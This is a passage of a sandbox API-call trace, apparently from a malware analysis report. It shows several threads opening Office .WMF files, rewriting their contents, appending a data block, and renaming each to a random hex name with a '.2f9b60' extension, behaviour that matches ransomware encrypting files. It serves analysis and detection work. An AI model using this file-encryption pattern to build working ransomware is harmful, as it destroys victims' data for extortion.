Seed=0x23f9fcd0) returned 0x2e47ad6f [0210.875] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x23865041 [0210.885] ReadFile (in: hFile=0x183c, lpBuffer=0x20415b00, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x23f9fcd0, lpOverlapped=0x0 | out: lpBuffer=0x20415b00*, lpNumberOfBytesRead=0x23f9fcd0*=0x5a4, lpOverlapped=0x0) returned 1 [0210.885] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.885] WriteFile (in: hFile=0x183c, lpBuffer=0x203fb690*, nNumberOfBytesToWrite=0x5a4, lpNumberOfBytesWritten=0x23f9fcd4, lpOverlapped=0x0 | out: lpBuffer=0x203fb690*, lpNumberOfBytesWritten=0x23f9fcd4*=0x5a4, lpOverlapped=0x0) returned 1 [0215.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313ba40 [0215.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b980 [0215.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b980) returned 1 [0215.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fb690) returned 1 [0215.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20415b00) returned 1 [0215.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24aa0) returned 1 [0215.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f60) returned 1 [0215.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313b980 [0215.411] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.411] WriteFile (in: hFile=0x183c, lpBuffer=0x423abf10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23f9fdf0, lpOverlapped=0x0 | out: lpBuffer=0x423abf10*, lpNumberOfBytesWritten=0x23f9fdf0*=0x10a, lpOverlapped=0x0) returned 1 [0217.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9370 [0217.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9370) returned 1 [0217.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9370 [0217.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f70 [0217.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f70) returned 1 [0217.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.785] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="ea") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="6c") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="73") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="39") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="19") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="85") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="e9") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="e6") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="bf") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="6c") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="40") returned 2 [0217.785] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="7b") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="5f") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="09") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="cd") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="8f") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="b8") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="6f") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="7a") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="b0") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="09") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="04") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="9d") returned 2 [0217.786] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="21") returned 2 [0217.786] RtlInitAnsiString (in: DestinationString=0x23f9fe68, SourceString="ea6c73391985e9e6bf6c407b5f09cd8fb86f7ab009049d21" | out: DestinationString="ea6c73391985e9e6bf6c407b5f09cd8fb86f7ab009049d21") [0217.786] RtlAnsiStringToUnicodeString (in: DestinationString=0x23f9fe38, SourceString="ea6c73391985e9e6bf6c407b5f09cd8fb86f7ab009049d21", AllocateDestinationString=1 | out: DestinationString="ea6c73391985e9e6bf6c407b5f09cd8fb86f7ab009049d21") returned 0x0 [0217.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43106080 [0217.787] wcscat (in: _Dest=0x4314fb10, _Source="ea6c73391985" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\ea6c73391985") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\ea6c73391985" [0217.787] wcscat (in: _Dest=0x4314fb10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\ea6c73391985.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\ea6c73391985.2f9b60" [0217.787] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\ea6c73391985.2f9b60", NtPathName=0x23f9fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\ea6c73391985.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fe460 Thread: id = 3557 os_tid = 0x1f14 [0210.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf")) returned 0x20 [0210.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF", dwFileAttributes=0x20) returned 1 [0210.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x888 [0210.869] GetFileSizeEx (in: hFile=0x888, lpFileSize=0x24d5f7a0 | out: lpFileSize=0x24d5f7a0*=1460) returned 1 [0210.869] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0x5b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.869] ReadFile (in: hFile=0x888, lpBuffer=0x24d5f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24d5f768, lpOverlapped=0x0 | out: lpBuffer=0x24d5f720*, lpNumberOfBytesRead=0x24d5f768*=0x4, lpOverlapped=0x0) returned 1 [0210.888] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9250 [0210.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e60 [0210.890] NtQuerySystemTime (in: CurrentTime=0x24d5f660 | out: CurrentTime=0x24d5f660*=132462178157554000) returned 0x0 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x60cd2911 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x21600618 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x3ef5cdef [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x5aa38fac [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x6986c8c0 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x369ac2dd [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x38679884 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x147f681d [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x19dc0207 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x2c157c18 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x63a8c730 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x2b864989 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x69aec697 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x1d1fc0c [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x399c63eb [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x47ddba0e [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0xe46cbd9 [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x6a9a0e3d [0210.890] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x25baca29 [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x2603d503 [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x1a761d76 [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x53bb0588 [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x7dab0c1c [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x1d6182f0 [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x743b0c51 [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0xe961807 [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x1d727933 [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x51b73dd8 [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x4193115d [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x2eb76321 [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x2837b1fb [0210.891] RtlRandomEx (in: Seed=0x24d5f650 | out: Seed=0x24d5f650) returned 0x2f69bc06 [0210.901] ReadFile (in: hFile=0x888, lpBuffer=0x20402eb0, nNumberOfBytesToRead=0x5b4, lpNumberOfBytesRead=0x24d5f650, lpOverlapped=0x0 | out: lpBuffer=0x20402eb0*, lpNumberOfBytesRead=0x24d5f650*=0x5b4, lpOverlapped=0x0) returned 1 [0210.901] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.901] WriteFile (in: hFile=0x888, lpBuffer=0x203ff2a0*, nNumberOfBytesToWrite=0x5b4, lpNumberOfBytesWritten=0x24d5f654, lpOverlapped=0x0 | out: lpBuffer=0x203ff2a0*, lpNumberOfBytesWritten=0x24d5f654*=0x5b4, lpOverlapped=0x0) returned 1 [0215.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b8f0 [0215.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b890 [0215.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b890) returned 1 [0215.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203ff2a0) returned 1 [0215.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20402eb0) returned 1 [0215.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23da0) returned 1 [0215.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f10) returned 1 [0215.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313b890 [0215.419] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.419] WriteFile (in: hFile=0x888, lpBuffer=0x423aaad0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x24d5f770, lpOverlapped=0x0 | out: lpBuffer=0x423aaad0*, lpNumberOfBytesWritten=0x24d5f770*=0x10a, lpOverlapped=0x0) returned 1 [0217.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9280 [0217.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9280) returned 1 [0217.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a87a0 [0217.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8740 [0217.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8740) returned 1 [0217.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.801] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="d2") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="c1") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="1f") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="f4") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="c7") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="63") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="36") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="29") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="ea") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="f5") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="f6") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="49") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="a6") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="c0") returned 2 [0217.801] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="7c") returned 2 [0217.802] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="8c") returned 2 [0217.802] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="f9") returned 2 [0217.802] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="8f") returned 2 [0217.802] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="d3") returned 2 [0217.802] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="83") returned 2 [0217.802] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="89") returned 2 [0217.802] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="3d") returned 2 [0217.802] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="ec") returned 2 [0217.802] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="01") returned 2 [0217.802] RtlInitAnsiString (in: DestinationString=0x24d5f7e8, SourceString="d2c11ff4c7633629eaf5f649a6c07c8cf98fd383893dec01" | out: DestinationString="d2c11ff4c7633629eaf5f649a6c07c8cf98fd383893dec01") [0217.802] RtlAnsiStringToUnicodeString (in: DestinationString=0x24d5f7b8, SourceString="d2c11ff4c7633629eaf5f649a6c07c8cf98fd383893dec01", AllocateDestinationString=1 | out: DestinationString="d2c11ff4c7633629eaf5f649a6c07c8cf98fd383893dec01") returned 0x0 [0217.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43106160 [0217.803] wcscat (in: _Dest=0x4314f9b0, _Source="d2c11ff4c763" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d2c11ff4c763") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d2c11ff4c763" [0217.803] wcscat (in: _Dest=0x4314f9b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d2c11ff4c763.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d2c11ff4c763.2f9b60" [0217.803] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d2c11ff4c763.2f9b60", NtPathName=0x24d5f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d2c11ff4c763.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fe600 Thread: id = 3558 os_tid = 0x2260 [0210.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf")) returned 0x20 [0210.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF", dwFileAttributes=0x20) returned 1 [0210.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x988 [0210.887] GetFileSizeEx (in: hFile=0x988, lpFileSize=0x2c9cfe00 | out: lpFileSize=0x2c9cfe00*=1476) returned 1 [0210.887] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x5c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.887] ReadFile (in: hFile=0x988, lpBuffer=0x2c9cfd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c9cfdc8, lpOverlapped=0x0 | out: lpBuffer=0x2c9cfd80*, lpNumberOfBytesRead=0x2c9cfdc8*=0x4, lpOverlapped=0x0) returned 1 [0211.584] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0e0 [0211.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dbd0 [0211.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0211.585] NtQuerySystemTime (in: CurrentTime=0x2c9cfcc0 | out: CurrentTime=0x2c9cfcc0*=132462178164574000) returned 0x0 [0211.585] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x6357dfbe [0211.585] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x280083d3 [0211.585] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x7be194f6 [0211.585] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x5efee780 [0211.585] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0xb510777 [0211.585] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x68877aca [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x26ac3d99 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0xfdaa797 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x475bfc3d [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x1a2f8be0 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x5bc3e7f4 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x7479646 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x22526d92 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x7b0a409c [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x7cf39583 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x5dde7e5c [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x603ef59a [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x319a5ba1 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0xb8467ab [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x5e09571c [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x4b356283 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x1e2b7da3 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x4b776cac [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x6ce5f4 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x2fd45050 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x65b48a9a [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x10f6865e [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x387f6fe5 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x7c0d69 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x1385db6b [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x67dd8836 [0211.586] RtlRandomEx (in: Seed=0x2c9cfcb0 | out: Seed=0x2c9cfcb0) returned 0x4ff3520b [0211.596] ReadFile (in: hFile=0x988, lpBuffer=0x41f578d0, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x2c9cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x41f578d0*, lpNumberOfBytesRead=0x2c9cfcb0*=0x5c4, lpOverlapped=0x0) returned 1 [0211.596] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.596] WriteFile (in: hFile=0x988, lpBuffer=0x41f66910*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x2c9cfcb4, lpOverlapped=0x0 | out: lpBuffer=0x41f66910*, lpNumberOfBytesWritten=0x2c9cfcb4*=0x5c4, lpOverlapped=0x0) returned 1 [0215.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ec0 [0215.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1160 [0215.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1160) returned 1 [0215.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f66910) returned 1 [0215.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f578d0) returned 1 [0215.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba2e0) returned 1 [0215.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058470) returned 1 [0215.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac1160 [0215.521] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.521] WriteFile (in: hFile=0x988, lpBuffer=0x431f1ec0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c9cfdd0, lpOverlapped=0x0 | out: lpBuffer=0x431f1ec0*, lpNumberOfBytesWritten=0x2c9cfdd0*=0x10a, lpOverlapped=0x0) returned 1 [0217.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 